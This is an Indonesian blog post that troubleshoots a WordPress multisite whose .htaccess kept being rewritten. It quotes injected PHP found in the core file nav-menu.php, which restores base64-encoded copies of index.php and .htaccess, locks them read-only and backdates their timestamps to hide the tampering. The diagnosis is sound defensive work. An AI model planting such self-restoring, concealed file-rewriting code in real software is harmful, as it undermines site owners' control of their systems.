htaccess error ditulis ulang oleh injeksi kode pada nav-menu.php

htaccess error ditulis ulang oleh injeksi kode pada nav-menu.php - Pada awalnya karena setting multisite wordpress yang selalu error.

File .htaccess yang dibuat selalu kembali ditulis ulang, sehingga multisitenya error terus. Terus karena kesel, saya ubah login filemanager winscp dengan root akses dan saya buat .htaccess pake root akses, sehingga ketauan deh errornya ternyata pada line 502 file nav-menu.php

Apasih kodenya , intip yuk:

function my_correct($dir) {
$time = 0;
$path = $dir . ‘/index.php';
$content = base64_decode(‘PD9waHAKLyoqCiAqIEZyb250IHRvIHRoZSBXb3JkUHJlc3MgYXBwbGljYXRpb24uIFRoaXMgZmlsZSBkb2Vzbid0IGRvIGFueXRoaW5nLCBidXQgbG9hZHMKICogd3AtYmxvZy1oZWFkZXIucGhwIHdoaWNoIGRvZXMgYW5kIHRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSB0aGVtZS4KICoKICogQHBhY2thZ2UgV29yZFByZXNzCiAqLwoKLyoqCiAqIFRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSBXb3JkUHJlc3MgdGhlbWUgYW5kIG91dHB1dCBpdC4KICoKICogQHZhciBib29sCiAqLwpkZWZpbmUoJ1dQX1VTRV9USEVNRVMnLCB0cnVlKTsKCi8qKiBMb2FkcyB0aGUgV29yZFByZXNzIEVudmlyb25tZW50IGFuZCBUZW1wbGF0ZSAqLwpyZXF1aXJlKCBkaXJuYW1lKCBfX0ZJTEVfXyApIC4gJy93cC1ibG9nLWhlYWRlci5waHAnICk7Cg==’);
if (file_get_contents($path) != $content) {
chmod($path, 0644);
file_put_contents($path, $content);
chmod($path, 0444);
$time = my_time($dir);
touch($path, $time);
}

$path = $dir . ‘/.htaccess';
$content = base64_decode(‘IyBCRUdJTiBXb3JkUHJlc3MKPElmTW9kdWxlIG1vZF9yZXdyaXRlLmM+ClJld3JpdGVFbmdpbmUgT24KUmV3cml0ZUJhc2UgLwpSZXdyaXRlUnVsZSBeaW5kZXhcLnBocCQgLSBbTF0KUmV3cml0ZUNvbmQgJXtSRVFVRVNUX0ZJTEVOQU1FfSAhLWYKUmV3cml0ZUNvbmQgJXtSRVFVRVNUX0ZJTEVOQU1FfSAhLWQKUmV3cml0ZVJ1bGUgLiAvaW5kZXgucGhwIFtMXQo8L0lmTW9kdWxlPgoKIyBFTkQgV29yZFByZXNzCg==’);
if (file_exists($path) AND file_get_contents($path) != $content) {
chmod($path, 0644);
file_put_contents($path, $content);
chmod($path, 0444);
if (!$time) {
$time = my_time($dir);
}
touch($path, $time);
}
}

my_correct(dirname(__FILE__) . ‘/..’);

Fungsinya kode ini menulis ulang htaccess dan mengubah file permission menjadi 444. Perlu diketahui bahwa file ini adalah core file wordpress. Jadi solusinya adalah tumpuk aja dengan file aslinya.

Lalu tulis ulang .htaccess untuk multisite. Dan ubah permission menjadi 644

Hal ini menghabiskan waktu saya seharian, semoga pembaca entrepreneurstart.pw tidak mengalami hal seperti ini dan membaca tulisan ini untuk menghemat waktu.

Comments